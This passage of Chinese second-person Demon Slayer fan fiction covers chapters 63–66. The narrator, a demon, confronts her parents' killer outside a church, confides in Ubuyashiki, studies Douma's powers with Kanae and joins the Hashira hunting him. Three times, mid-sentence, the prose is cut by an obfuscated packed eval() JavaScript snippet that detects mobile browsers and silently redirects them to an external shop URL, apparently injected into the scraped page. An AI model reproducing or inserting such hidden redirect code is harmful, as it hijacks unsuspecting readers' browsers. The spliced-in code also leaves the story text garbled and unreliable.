“好的,我知道了。”他起身挎上日轮刀,走向屋外。 “我去杀鬼了,”他说,“你自便。” 他走了。但好像走不走都没有什么区别。 你只是感到更加煎熬,而已。 有鬼杀队的人在,你因为全身心对抗着他们可能有也可能没有的窥探,反而能撑得住。现在,这里没有其他人,因为愤恨、痛悔而释放的攻击力全部向内返回来,撕扯得你肝肠寸断。 浑浑噩噩中,太阳落下、升起了几轮,富冈义勇风尘仆仆地归来。 “跟我走。” 这是认识后他对你说的第三句话。 趁着夜色,你们下了山,赶了一段小路,到镇里坐车,天明前到了一处火车站。富冈义勇给你买了票,车厢里你们坐在面对面的位置,似乎只是在继续道场中情形。 你不知道他想要做什么。 车窗外的风景匀速倒退,从青天白日到华灯初上。 你们下了车。 裹挟在熙熙攘攘的乘客中,你口干舌燥、手脚发软,走路都不会了。富冈义勇盯着看了你一会儿,走过来拉着你的手走过月台,来到站点外,报上地名坐上黄包车,没过多久,教堂华丽、高耸的尖顶就出现在视野内。 车夫怀疑的注视下,义勇结算好费用,半拖半抱把你弄下车,向前方走去。 将将要跨入大门,你虚脱似的软倒在地。他拉了几下没有起来后,也不再动,双目波澜不兴,眼角、嘴角还有刘海的弧度都向下耷拉的感觉。 “你的事,鳞泷师父都和我说过,”他淡淡开口,“我也是偶尔执行任务路过,才发现这儿就是他提到的地方。不进去看看吗?” 屋内飘荡出唱诗班的歌声,甜美的音乐掠过庄严的祭台、精致的油画、五彩斑斓的花窗,环绕在衣冠楚楚的信徒之间,仿佛是天穹下最神圣的所在。 这是教堂礼拜日的活动,你曾经也是他们中的一员。 “不进去看看吗?”富冈义勇固执地要求。 你哆哆嗦嗦坐在布道室长椅的最后一排,同列的都是一些捐赠不起还要靠教堂救济的穷人。以前怎么没发现他们呢? 你一直知道,教堂用筹款和义塾的收入开济贫院舍粥。如果那些无家可归饭也吃不上的可怜人愿意皈依主的话,教堂可以提供一个容身之地。他们参加完简单受洗礼,就能每周来领物资,做一些送信、扫地的简单活计换一份微薄的薪水勉强活下去。 按理说,过去你们无数次共处一室,但仍像两个世界的人看不到彼此。现在,你和他们一起在人群的末尾,表情麻木,身体颤抖。 讲台上,牧师动情地讲述着怜悯贫穷的道理,大力赞扬前排客人的慷慨。掌声响起一波又一波,你仍然魂飞天外。富冈义勇耐心地陪着。 牧师再讲起过去几十年间对教会做出过突出贡献的人们,历数他们的生平事迹还有美德,比如在禁令还没有取消的时候冒险传教啦,靠着很少的资金盖起义塾的第一间校舍啦,收养孤儿啦,独生女去世后办了一个以她名字命名的基金会啦…… 你捂着耳朵痛苦地滑到座椅下。富冈义勇艰难地分开人群,把你拖了出去。 “这就是你要让我知道的?你带我来就是为了这个?”你怒火万丈,愤怒像刺猬张开的一身刺,为了护住中间最不堪一击的位置,疯狂刺向所有靠过来的触碰。 义勇嘴张开再闭上,手抬起又放下。努力好久,终于道:“我就是觉得,应该让你知道。” “然后呢?” “什么?” “我问你然后呢!”你双目通红,目眦欲裂,食人鬼尖锐的异形瞳孔收缩成暴虐的利剑,“我知道了!然后呢?” 义勇哑口无言,眼看着你毫无理智地倾泻愤怒。 “你们想要从我这里挖出什么来,你们到底要知道什么!我和你们不一样吗,啊?我也是爸爸妈妈生的,从小长到大的啊,我和你们一样是血肉之躯,用刀砍会痛,听到难听的话伤心,我堂堂正正活到现在,和你们一样!我和你们一样!凭什么这么对我,凭什么啊!” 他明显是不善言辞的人,在你的逼问下更加说不出话来。 “我,”他开口,“就只是认为,应该让你知道。” 你愤怒地推开他,跑走了。 这座恢弘的教堂里每道门都长得差不多,你本该是很熟悉的,却依然在冲昏头脑后弄不清楚自己现在是在哪个房间。 这里有很多的雕塑,墙上挂着各式各样的相框,还钉着不同尺寸、形状的金属牌……你懵了一会儿,猛然醒悟过来这是学校的纪念堂! 因为奔跑而发昏、模糊的视线在此时聚焦,你无比清晰地看到眼前的牌子。光亮的金属表面折射出你现在的脸,还和“死前”一摸一样,肉乎乎的带点婴儿肥的女学生脸,裸露在外的皮肤呈现出大量失血后的惨白。 那个牌子上面写着“……夫妇捐赠……愿上帝平息他们的伤痛,因为捐得乐意的人,是神所喜爱的”。 你发出一声极低的哀嚎,声音从狭窄的缝隙里挤出,好像那儿正在被猛兽扑咬。身子也受伤似的承受不了,摇摇欲坠。 “小姐、小姐?你怎么样了?”有人用英语问道,“要叫医生吗?” 你摇摇头,费力地直起身来。 “菲利斯女士?” 老人戴上胸前的眼睛:“你认识我?” “只是听说过。”你不自在地转开脸,想要在认识的人面前平复心情,但愤怒和哀恸交织的心脏仍在猛烈地跳动着。 “太难得了,我已经退休很久很久了,”头发全白的菲利斯女士眯起眼睛,“天呐,你真像我以前的学生。” 她思考起来,也看向面前的牌子:“那孩子的父母见到你准儿会开心的——你真的不需要医生吗?” “我天生脸色不好,”你摸摸脸颊,“和我说说这个基金会的事吧,接受外界捐款吗?我、我想……” 你摸向包,突然想起大部分现金都在实弥杀鬼的时候交给那个男孩的母亲了。包里只剩遗留的几个钢镚,还有一叠取不出来的汇款单。 “我也想捐点儿,”你嗫嚅道,“钱过段时间送来。” “好呀,”菲利斯女士摸摸铭刻在牌上的箴言念起来,“各人要随本心所酌定的。不要作难,不要勉强,因为捐得乐意的人,是神所喜爱的。所有不知道往捐赠纪念品上写什么的人,我都把这话送给他。”* 你走出教堂,开始想能从哪里弄点钱来。这个时代的银行不对女性开放业务,你收到的所有酬劳都是黑死牟帮忙领取的,这在以前并不构成障碍。 现在怎么办?要不把手表卖了了吧,它还挺值钱的。反正你也用不着看时间了,鬼杀队让你去哪里就得去哪里,让你干什么就得干什么。 可当铺又在哪里?你只在小说和电视剧中见过这种地方。 你茫然地走着,看到听完布道的人们涌出来,一部分坐上小汽车、人力车,一部分在街角排起长队。那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263573|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是教会济贫院的窗口吧。你想起菲利斯女士说父母的基金会用来救济流落在外的人,拔腿走过去想看看。 夜风吹在脸上,带来温柔的感觉,好像分别前她贴在那里的手。 她说:“开心起来吧,小小年纪为什么要这样愁苦呢?我从前的那个学生总是高高兴兴的,你看我年纪一大把了,也高高兴兴的。” 你捂住那里,吸吸鼻子,有点儿想哭了。 她说这话完全是好心,但你想开心、快乐之类的词恐怕不会和你有什么关系了。不过今天能遇到她,你的确好受很多。如果宗教能在父母人生的终点给予些许安慰的话,那也是很好的。 本就有许多东西是因信称义的,像是爱、信任、理念,信则有不信则无。此刻你情愿和他们一起相信,上帝或者随便哪个神平息了那场伤痛。 济贫院门前的队伍越排越长。 看啊,世上有这么多不如意的人,他们的悲伤也一样很多很多。 你驻足观望着。 “别插队啊!”后面的人叫起来,伸手就是一推。 你险些摔倒,赶紧闪避。 “非常抱歉,我这就走。” 唉,不知不觉就靠近队伍了。用你凭吊的心情去干扰他们迫切的生存需要实在不应该,还是走吧。 “还有人插队!” “死老头子又是你,快滚快滚!” “滚呐!” 眼看着老人就在栽倒在旁边,你手忙脚乱地把人扶稳,差点儿被他身上的味儿熏得倒仰过去。 这人得有几十年没洗澡了吧…… 流浪汉嘛,可以理解。 你强忍着不适问他:“我带你重新排队吧?” 他低头嘟嘟囔囔地说着什么,皱纹深陷的脸大半藏在脏兮兮的头发下。 你听不清楚,弯下腰:“什么?” 教堂前的路灯照亮你的脸。 他大叫起来,甩开你的手就跑,却咚地撞上墙角倒地,顾不上头破血流还在手脚并用地逃。 “你怎么了?没有事吧?” “别追我、别追我!”他嚎叫起来,“是你,我认得你。你这个魔鬼,还缠着我!” 他哭一阵、逃一阵,又爬回里叩头:“放过我,我不是故意的……我不知道我当时怎么想……” 轰的一声,你的脑中一片空白。 不是想不出东西空荡荡的空,是一切的感知、情绪、反应能力在瞬间摧毁,坍塌成废墟的空。 你僵立不动,眼睛失神,围困在躯体里的灵魂却在歇斯底里地狂叫! 是他!是他!是他! 流浪汉磕得更加用力,血滴滴答答流了一地。 “对不起、对不起,我不是故意的,不是故意杀你的……” “你杀我?你杀我了吗?”你扯着他那件破衫烂衣咆哮起来,“你杀我,可我没死呐!你把我父母杀了,我父亲母亲死了,他们不在了!” 狗屁的神,狗屁的安慰,可去他的吧!你的伤痛没有平息,永远也不会平息,它就在这里,在咆哮着想要弄死他! “对不起、对不起……”他涕泗横流,搓着两只手不停地道歉。 “你怎么还活着,还有脸活着啊……你还有脸来这里……” 人群骚动起来,尽然有序的队伍散开一片以你为圆心的空地。所有人目瞪口呆,看着一个女人当街发疯,欺负一个可怜的老流浪汉。 “你怎么还有脸……给我滚呐……” 前头分发粥饭的修女也发现了不对劲,放下勺子要过来查看情况。 “滚!” 有人牢牢地抱住你,要把你带出去。 “冷静!”是富冈义勇的声音。 你挣扎不动,头昏脑胀、语无伦次,还在用尽全力对那个仓皇逃窜的可怜人怒吼: “滚呐!” 64.第 64 章 富冈义勇把拼命踢打的你拖到无人处。 “冷静!”他重复道,“你听我说。” 你先前忍住的眼泪嚎啕出来:“你杀我,可我没有死呐,我没有死!” 你只是痛了十几分钟,父亲母亲的余生都这样痛过去了,他们的痛到死也没有停住过。 “你听我说!”义勇缚住你乱动的手脚,让你能停一会儿。 “不久前,我做了一个决定,”他的声音听起来很迷茫,“到现在也不知道是对的还是错的。” 他没有用多么大的力气,你没有感到疼,却再也动弹不得,只能被迫听着他的絮絮叨叨。在这样近的距离下,你发现他的眼睛并不是冷酷无情的。 “以前,我很少做决定。我……有个姐姐,什么事她想好告诉我就可以了。后来,拜入师傅门下,我也一直是被照顾的那个。进入鬼杀队,更不用做决定了,我只需要知道哪里有鬼过去杀了就好。现在,我明白,决定的时刻人就要想到所有好的、坏的可能,做好为此负责的全部准备。这么简单的道理,我却现在才懂,因为这个责任总有人替我分担。他们都不在了,我就必须自己担起来。这不容易,我判断失误了吗,会不会做错了,到今天还这么想。但我可以为身后的人分担了,我终于接过前人托付的东西,把它延续下去了。” 他说着前所未有的长句子,把这些天的沉默一口气补足。 “那个孩子,他能接替我的位置,做到我做不到的事,这就足够了。我为此做出的决定,值得我肩负起一切的责任,你呢?” 见你安静下来,他慢慢松开手,让出空间,等着你的反应。 你看着他,眼泪干涸在脸上。 他说的对,你没有对自己的决定负起责任,从来没有。你只是逃避而已,从一个地方逃到另一个地方。不能接受那个留在黑死牟身边渴望血肉的自己,就逃出来逃到鬼杀队,从此自认为可以了。因为杀鬼不是鬼杀队的职责吗?你人都来了还能怎么样?鬼杀队不相信你、不肯试你的方法,那就是他们的错,是他们偏见太深了。你就用这种可耻的逻辑自己骗自己,把自己要报的仇、自己该做的事推给别人。 太糟糕了。 你好像一直是这么糟糕的人。当初明明察觉到岩胜有离开的意思,可就是什么也不做、什么也不说,等着他开口,等他主动去做“坏人”,主动提出要走,而你一个理解、支持丈夫的妻子有什么错呢?你要永远做“好人”,做不犯错的那一个。因为这样才是安全的,不必背负什么。你就这样等啊等,事情都不可挽回了,才不得不提起刀去面对现实。 口口声声说着什么到了必须要上的地步也会上的,可实际上呢?你先把自己摆在了弱者的地位上,要求你证明自己的实弥就变成了“坏人”。你惧怕错误,已经远远超出了想要实现目标的心愿,可不去承担风险就是做不成任何事。你用忍受苦难代替真正的进取,所以停滞不前。 炼狱杏寿郎说的没错,没有足够的信任,合作就是流沙之上的大厦。实弥总是很凶,但他说到做到,让音柱听完了你的讲述,派鎹鸦告知了每一个柱。他能做的都为你做了,现在是你的犹豫、隐瞒和软弱在拖累方案的推进。 “我……”你很羞愧,“我需要你帮我个忙。” 富冈义勇在月光下轻轻颔首:“你尽管说。” “可我也不知道这么做会引发什么。” “没有关系,”他看着你,“你只是像从前的我一样,没有自己做过决定。” 你深深地吸气、吐气,让双手不再颤抖,打开包取出纸笔,开始写字。一笔一划,力透纸背,让视力受损的人足以摸出凹凸的痕迹。 你写:你和鬼舞辻无惨是什么关系? 写完,你把纸叠起来交给富冈义勇。 “我知道,以我目前的信誉度是见不到你们的主公的。就帮我送一封信吧,这封信只能让他一个人看。等到回复的那天,我就会说出你们想知道的东西了。” 义勇接过来第一时间就塞到鎹鸦携带的信筒中。 “好的,等我消息。” 正被你记恨着一定要除掉的童磨,泡在万世极乐教的酒池中。 还是人的时候,他对烟酒舞乐的爱好几乎到了一日不可停的地步,变鬼后这些乐趣就打了折扣。因为味觉改变,水烟管还能抽抽,酒是一口也喝不了了,只能改为酒池浴聊以慰藉。 万世极乐教负责近身伺候教主的信徒们都知道,童磨大人在沐浴时情绪最佳,也最好说话了。 但今天似乎不是这样。 机灵的侍女将酒液缓缓倾入池中,免得溅起水花到扰教主的兴致。室内温度控制得正正好,温软如春的气息熏蒸着一池的酒水,浓烈的香气氤氲开,让人闻之欲醉。 童磨一手支颐半眯着眼懒洋洋地浸泡在这贵逾千金的池水中,罕见得没有和周围人调笑起来。于是那些侍女们一个也不敢松懈,紧绷着完成添酒、打扇的动作。 唯有他新近照来的恋爱对象格外大胆,半卧在池边好奇地把手探进去,拨弄着水玩。 “大人,”她问,“你怎么不高兴啊?” “哦?”童磨撩起眼皮,“你为什么觉得我不高兴呢?” “你都不看着我了,”女孩儿说,“不只是我,你也不看那些新来的花瓶,大家新排练的舞蹈,信徒供奉的新鲜玩意儿了。” 她掰着指头数完,又问:“是发生了什么不好的事吗?” “真是太善解人意了,的确是这样没错。” “是什么事呢?说出来让我为大人分忧吧。” “很想告诉你,但分忧应该是不行了,”童磨一脸沉痛道,“我一直追更的连载故事,它竟然烂尾了!” “哎?” “这难道还不够让人伤心的吗?”童磨翻身坐上来,水声哗啦啦地响,“人家超级期待的!从第一期就开始追更,每次有更新就放下手里的事马上去看。竟然烂尾了,对得起我吗?” “那是很讨厌了,是什么样的故事呢?” “是带有悬疑元素的爱情小说,”他一本正经地讲起来,“讲的是一个身份有秘密的人和另一个人交往的故事。马上,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268593|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘密就要解开了,我一直等着反转呢。” “然后呢?” “然后,”童磨两手一摊,“没了。” “好过分!这真的是很严重的烂尾了!”女孩儿也气愤了,“这种作家简直就是来报复社会的,就不能想想办法吗?联系他的编辑,给他寄刀片!” “哈哈哈。”童磨开心地笑起来,揉揉她的脑袋。 “谢谢你帮我想办法,但是不行。” “为、为什么?”她有点儿脸红。 “这个编辑,或者说这个作者太厉害了,我打不过他。”童磨重新沉入池中,“追更他的故事就够我吃苦头了,定制结局想都不要想。就先这么无聊着喽。” 添酒的侍女悄无声息地退下,把房间让给两人。紫色的幕布吸饱了酒味的水汽,更加沉重,拖到地上的部分沾上溅出的液体颜色变深。 童磨待得泡够了,才从水面起身,丢下一池血红离开了。 烂尾故事的女主角,你,再次来到柱合会议的现场。 鬼杀队的主公产屋敷耀哉和手下的柱们谈完了事,单独留你在屋内谈话,就连常常跟在他身侧的岩柱悲鸣屿行冥也被要求在庭院外等候。 这个决定引起了一些人强烈的不满,但远没有想象中激烈。蛇柱第一个跳出来大声反对,霞柱严肃地建议安全问题必须要考虑,音柱一脸胃痛的表情,炎柱、水柱和新上任的虫柱保持沉默,风柱不死川实弥死死地盯住你好一会儿,到底没说什么。 尽管阻碍重重,你们之间的谈话还是按双方都希望的方式进行了下去。 然后,你就听到了一段时隔千年的家族秘辛。 “这可真是想不到。”你感慨。 两个关系上已经如此遥远的人竟会长得几乎一模一样。 寝灯晕黄的光线下,他脸上的伤疤看着不再可怖,但覆盖面积明显要比上次见面时大了一圈。 真是没有道理的诅咒,一千年了,也就日本这种万世一系的国家会觉得他们还是一个家族的人吧? 你觉得很扯,但也不坏。他有足够的动机比他是个好人听起来可靠多了。 “我也想不到,”他微笑,“我虽然能感到你对我明显的抵触,但根本猜不到是这个原因。” “那您就谦虚了,”你真心实意且不含贬义道,“您完全称得上算无遗策。” 和这样的人合作,才有成功的希望啊。 “我的秘密不能和您相比,就从四百年前开始说吧……” 会议结束,你推开门来到屋外,实弥在台阶下等你。 “喂,你做了什么啊,”他恶声恶气道,“怎么突然就来这里了?” “实弥,我答辩过了!我的方案通过了!我们去吃大餐!” “你要吃什么?” “呃,我是说,我要请你吃大餐!”如果没有穿越,你写完论文、拿到学位,就会是现在这样开心吧?你就可以和舍友一起去吃期待很久的大餐了啊! 他再次露出那种看智障的表情。 你叉着腰在夜空下大笑起来。 65.第 65 章 你再次来到风柱的道场,几天后香奈惠也来了。 产屋敷耀哉答应了你,不会把四百年前的往事告诉无一郎。但条件是霞柱轮空,不参与看管,你也不能主动去打听他的事。对外的原因则是,霞柱年龄小不适合这一任务。 你表示理解、接受。 所以,辗转一圈后重新开始轮班。按之前的顺序,你跟着不死川实弥走了。 一回生二回熟,这次你直接推门而入,拉好帘子,就找到一个舒服的角落躺在榻榻米上。 隐都是什么时候来打扫的呢,房间一直都干干净净的。 实弥眉头紧锁,一副忍不了的样子。 好在他不用忍太久,柱忙得很,后半夜爽籁就来啄窗户喊人了。 你一个人趁太阳没升起来,跑着院子里给天牛们采集食物,打了好几桶水提进屋里,预备白天不时之需。之后几天,你养精蓄锐,等来香奈惠。 她是来协助你一同完成童磨血鬼术分析的。 妹妹蝴蝶忍已经升为柱,时间不再充裕,这次来送她的是几名隐的成员。他们还带来了你想要的鬼杀队档案。 “啊,终于来了!”你热烈地拥抱她,“前虫柱大人怎么样呢?” “她这阵子高兴的身体都变好了。你呢?这么想我?”香奈惠笑道。 你心虚地别开脸:“我们赶紧开始吧。” 当然不敢告诉她,你一度以为她和那位青木森大人要切腹自尽了。 那晚和产屋敷耀哉夜谈,他突然问你对“那个人”有什么想法,有没有打算做些什么之类的。你反应了好一会儿,才意识到他口里的“那个人”是谁。 “他啊,”你根本不想提起,“随便吧。” 那个人早就烂到泥里了,比沦为流浪汉还要早,在他相信童磨,为那一点虚幻的甜头就能举起屠刀的时候,他的全部人生就已经没有丝毫希望了。谁还能让他更烂一点呢?童磨本人来了也不行了吧。 有的人早早就死去了,只是烂完了才咽气。那个咽不下气的人就如一道旧日的影子,你对着一道影子呵斥、怒骂、拳打脚踢,像是隔着四十多年为当初没反应过来的自己出气,情绪消退后,只剩光阴无情的悲凉。那是四十多年无法挽回的时光啊。 对那种人做什么也没有用了吧,你只想杀了童磨,非常想。 “随便吧,”你说,“反正我也报复回去了。” 产屋敷耀哉不解地看着你。 “他早就完了,这几十年没有一天好过,饥饿、寒冷、贫困没有一刻放过他。他没有尊严,没有未来,没有希望,家人朋友也在他追随鬼的路上离开了,那天过后,自欺欺人的平静也没有了。他失去了最后还能糊涂度日、浑浑噩噩的机会,我让他知道了,我从来没有忘掉他犯下的罪,永远不会原谅他。” 你痛快地输出,想直接切换下一个话题了,产屋敷耀哉突然道:“他死了。” ? “他没有看到义勇带走你,一直害怕地逃跑,不小心掉沟里就摔死了。这是鎹鸦传回来的消息。” 你愣住很久,很久。 “这、这样的话,这人,不能算是,我害死的吧?” 产屋敷耀哉笑了:“不管什么理由,鬼伤害人是鬼杀队绝对不能容忍的。但即使以最严苛的标准看,我也不认为这件事是你的错。” 那干嘛突然说这个,吓死你了!本来不会这么吓的,都怪那该死的连坐制度还有切腹的刑罚!说得那么一本正经,这么大的心理包袱压你很久了好吧! 他继续道:“你真是真是这么想的吗?这个人要是没有死,你也不做什么了吗?” “没死的话,除非再碰到吧。专门跑去做什么,应该不会了。怎么,你觉得没有血性,报复心不够,难堪大任?” “并不是,我突然想明白了,”他温和地看着你,“你说的对,一直不原谅就是报复,而且是很好的报复。” 回忆到此结束,你愧疚得地抱紧香奈惠,心里偷偷骂了几句产屋敷耀哉那个谜语人。 “我们赶紧开始吧。” 香奈惠遭遇童磨,你和她都是当事人,这部分复盘起来很快,你从鬼的角度补充就行了。前水柱和前鸣柱的那次战斗,你当时就看得不是很清楚,细节也在记忆中流失,帮不上什么忙。但翻阅鬼杀队的记录,一些画面在脑海中生动的重现。 “上弦之二童磨,他应该还有一种能力,是我们不知道的。”你斟酌着用词,沉思起来。 “你没有什么特别的!”喊出这句话后,他的表情、反应都出现了明显的空档。 那会儿,你没觉得有什么不对。人遭到言语攻击,感到气愤、好笑、无语都是正常的。但现在看来,有这些情绪的童磨才是不正常的。还有就是和香奈惠的那次,你揭穿他其实感知不到情绪的真相,他嬉笑的神情瞬间消失。 这已是他唯二面具破裂露出真面的时刻。一次,他恼羞成怒强行唤起你的记忆,还有一次…… 他也是采取了措施的。他变出了一尊冰雕的佛教造像。 “神就出现在你面前,也不认吗?”他这样说道。 在被你戳痛的时候,他都立即用自认为可以迅速起效的方式反击了。这是他的报复心,但是否也能说明你是真的戳到了他不容挑衅的雷区?在那一刻,他像应激的猛兽,竖起最厚实的心防,采取最激烈的手段。 那么,那座冰雕很有可能是他最强大的能力。但你并不清楚那是什么。 童磨的冰能冻伤人的肺部,天然克制呼吸法,鬼杀队已经处在劣势之下。他还有未知的底牌,这绝对是一个让人沮丧的消息。 这些天,香奈惠全程跟进你的进度,但常常是你埋头苦思半天,回过神来,她已经很累了。香奈惠身体变得很差。你看了她的体检结果,极低温导致了气道和肺部细胞的严重损伤,甚至在口腔、喉咙都留下了伤。不只是呼吸受限,她现在对冷空气、气味、烟尘都格外敏感,也无法一直说话,大半时间都在咳嗽。更别提童磨还在她的肢体、骨骼上都留下了难以愈合的伤。这种健康状况,都不支持她退居二线做培育师,只能转后勤搞研究。夜晚,你听到她难受得整宿睡不着觉,在床垫上翻来覆去。 你也伤病缠身过,知道那是怎样难熬的感觉。 童磨是很难对付的强敌。你心知这一点,昼夜不停,不敢有丝毫松懈。实弥杀鬼回来,也会加入你们的讨论。 他常常天蒙蒙亮或傍晚时回来,有时带着伤,有时没有。吃一点东西,也不休息就来旁听。好几次,你觉得他隐隐带着烦躁和不安,但思考起来提出意见又变得沉着冷静。 他一贯看淡生死考验,听到不利的分析,也尽是不屑。你提前感到踏实,不再那么焦虑。 有他在,也帮了你一个大忙。你在纸上写童磨两个字,圈起来表示万世极乐教的所在点,拉出一条线再画一个圈,然后放下笔在嘴边做一个拉拉链的动作。实弥就明白了。 “它还能逃到无惨那里?” 看到你开始浑身冒冷汗,香奈惠也明白过来。鬼杀队只能通过当年消失的宅邸猜测出万世极乐教内部有空间类的血鬼术,推断他有中途逃跑的可能,你盖棺定论还往棺材上扬了一把土。 这是另一个更加不利的因素。陷入苦战还好,若鬼杀队取得上风,童磨那种万事不上心的性子,有什么理由不跑。 这时,实弥的脸色才难看起来。 无论如何,剩下的不是你能考虑的了。经由你们三个人整理出来的全部线索由鎹鸦送走,隐收拾东西,准备送香奈惠离开。你感到许久未有的困意,揉揉眼睛,眼皮开始打架。 大概要一段时间,鬼杀队才能敲定具体的作战方案吧,到时候再……你头一点一点的,听不清身边人说些什么。 他们似乎在聊天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271272|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一开始聊的公事,稀血研究的结果啦,小忍配的药啦。聊着聊着,他们停下来。 香奈惠问:“你是怎么了,有什么事吗?” “没有。” 对面沉默一会儿。 “今年通过最终试炼的新人里,我看到一个叫不死川玄弥的孩子。这是你反常的原因吗?” “不是。” 她叹气:“那我走了。” “蝴蝶,”实弥叫住她,总是很凶悍的双眼看起来一片迷茫,“虫柱一定要加入鬼杀队的时候,你是怎么想的呢?” 身后“咚”的一声脆响。 他们吓一跳同时转身,只见你一头扎在桌子上,身子一歪滚落到榻榻米上睡死过去。 你醒来的时候,先看到桌前的不死川实弥。空气里散发着抹茶的味道,他丢开看着很眼熟的包装纸,咀嚼里面的点心,腮帮子鼓起来,负气似的发力。 你又眨了几下眼睛才觉得清醒些,推开被子坐起来。因为窗帘都拉得严严实实,你一时分不清白天还是黑夜。 “醒啦,”他的声音响起,然后是杯底磕在桌面的响动,“你怎么说睡就睡?” 香奈惠吓得不轻,又是拿听诊器又是探脉息的,才发现你是睡着了。他们从未见过鬼要睡觉,各自震惊了好一会儿,把要说的话都忘了。 你打个哈欠:“也就偶尔睡一觉吧。” 你来鬼杀队快一年了吧,这个频率已经比以前低很多了。 “我看你睡醒了,走吧。主公已经决定了我、虫柱、炎柱一组去疑似地点追查上弦之二。你也要去,赶紧走。” “什么?”这下你是真醒了,“我睡了多久?今年是哪一年了?快告诉我啊!” 因为有过前科,你再也能信任自身对时间的体感。 “你在说什么啊。” 他已经收拾好了,站在门前等你。听到你这么说简直无语,“也就区区两天而已,你可真能睡。” 你看看手表心算一下,明明是一天半,看来没误事。赶紧爬起来,洗把脸梳一下头发挎上包,推开门看到满天星空。 “你们连组都分好了?” 这么快的吗? “你以为都像你啊,屁大点事都要磨磨蹭蹭想半天。” 你那是谨慎,谨慎! “按你说的条件,筛选下来符合的地方有两处,分隔得很远,所以分两组。另一组是霞柱、水柱、蛇柱,音柱、岩柱待命,随时准备支援。”他解释道,“我们现在先去和炎柱会和,虫柱会直接出发到目标地点。” 你总结道:“看来,你们都认为是这一处的可能性更大。” 因为你在这一组。产屋敷耀哉采纳了你的建议。 “战斗开始后,我会作为诱饵最先出现在战场的。不仅是引他出来,也有可能拖住他晚些逃走。”你这样告诉他,“虽然只是猜想,但我至少有七成把握,童磨有一定要吃掉我的执念。” 从初见起,他就一直在强调你的“美味”,变鬼后也没有放弃。他冒着被黑死牟严惩的风险,一再言语暗示你,最后更是亲自动手帮你恢复记忆,难道就是因为他所说的想要看到悲剧吗?不,他想的是要吃掉你。 无惨不许鬼自相残杀,但在他疏于监管的地方,这条禁令形同虚设。按鬼杀队的说法,藤袭山的鬼就常常内部消耗。你是比它们还要弱得多的鬼,可你无法被觊觎稀血的鬼吞噬,从未接收到任何上位鬼的强制脑内共享,甚至无惨也不会时刻翻阅你的心音…… 这些特权,全部都是你依附于至高的上弦之一得来的。一旦黑死牟收回,你就会立刻沦落为最底层、最无能、最悲惨的鬼。那样,他就能吃掉你了。 现在,这个机会来了。童磨会躲着不出来吗? 你充满了信心,脚步无比轻快。 “实弥,马上去杀上弦鬼了,你高兴吗?” “啰嗦,快走!” 66.第 66 章 你、不死川实弥、炼狱杏寿郎一行在落脚的紫藤花之家见到了新上任的虫柱蝴蝶忍。 这是一座清幽的古建筑,就在当地的神社附近。古朴的和室里,蝴蝶忍还是那副你所熟悉的横眉冷对的表情,身上披着香奈惠穿过的蝴蝶纹样羽织。 她从主公那里领到任务后先你们一步出发,已在这里等候多时。接下来,也由她负责向你们陈述这次针对上弦之二的战术。 简单的说,就是她用毒大幅削弱童磨后,风、炎来补刀。如果童磨试图逃走,或者亮出他尚未示人的杀招后,负责支援的柱再加入战局。 你的评价是:这真是一个把大象关进冰箱的战术。冰箱装不装得下先别管,打开、放大象、关门,好了。 但另外两个人都没有对自己的那部分表示任何异议,他们一起担忧地看着蝴蝶忍。 计划最难的地方在她那里。他们都想了很多办法来躲开、克服童磨的冰晶,但它们只能用在缠斗的时候。唯有最先发起正面进攻的那个人避无可避,必须要用自己的血肉之躯扛起全部的伤害,为他们蹚出一条血路。代价很可能就是她自己的生命。 “真是羞愧啊,”炼狱杏寿郎道,“要把最危险的事交给同伴,自己却躲在后面!” 蝴蝶忍不为所动:“炼狱先生尽力去做,我已经很感激您了。” 嘴上说着感激的话,可实际上,她必须要和别人合作才能打这一仗的怨念如有实质,爽朗如炎柱,笑容里也闪过一丝尴尬。 不死川实弥只道:“你这么做,你姐姐怎么说?” 蝴蝶忍揪起了羽织的衣襟。 “我……已经是柱了。” 一切的含义已在这句话中,大家默契跳过,重新谈杀鬼的事。 没有硬件支持,大数据只能确定一个模糊的范围,不能直接命中万世极乐教的老巢。你们还需要自己动手,找到童磨的具体位置。 和你们一同到来的,还有大批的隐成员。他们送来饭,把地图铺开后退下,蝴蝶忍已经在上面标注了很多。 “我早一天到,已经排查了部分区域。这些地方可以不用再查了。” 你:“这样效率太低,换个思路来。不需要直接找到童磨,能找到他的信徒也是一样的。” 童磨只有一个,万世极乐教的常客却有二百多人,难度系数不可同日而语。 宗教的本质是传销,生命力在于扩张,这是颠扑不破的真理。需要扩张,就必须要维系足够的社会关系,找到其中一条就能顺藤摸瓜挖出他们的大本营。 三位柱稍加思考,就认可了你的提议。唯一问题是,你们都人生地不熟。 炼狱杏寿郎:“这不是问题,尽管交给我!” 